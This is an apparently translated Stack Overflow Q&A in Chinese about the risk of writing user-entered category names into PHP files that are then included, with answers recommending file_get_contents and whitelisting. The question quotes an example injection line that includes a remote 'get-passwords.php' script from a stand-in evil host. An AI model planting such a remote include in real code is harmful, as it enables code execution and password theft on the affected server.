用户在mysql中编写类别(name,url)。
在每次写入/更改name和url时,我还计划将其写入服务器上的txt或php文件中。在每个页面上使用aim重新加载,而不是连接到mysql,只是为了包含txt或php文件。
现在我想像一下一种情况。例如,用户作为类别的name写了一些include("http://www.evil/get-passwords.php");,所以在txt或php文件中,我可能有这样的代码,当包含在php中时,代码将执行吗?
如何防止出现这种情况?是否只允许某些字符用于类别名称?
发布于 2014-11-06 18:13:00
我根本不建议在这种情况下使用include。你可以看看http://php.net/manual/en/function.file-get-contents.php
使用file_get_contents可以避免脚本注入,因为它将文件作为纯字符串读取。
发布于 2014-11-06 18:13:58
您是否计划让用户写入.php文件?这不是一个好主意。
如果您确实需要这样做,让他们编写简单的.txt文件(并仔细检查apache不会将txt解析为php)。
对于清理,常见的方法是写一个允许的列表(白名单):
$allowedName = array(
'name1',
'name2',
'name3'
// ...
);然后,当用户输入时,您可以检查它:
if (!in_array($_POST['userName'], $allowedName))
die('Not Allowed');https://stackoverflow.com/questions/26776611
复制相似问题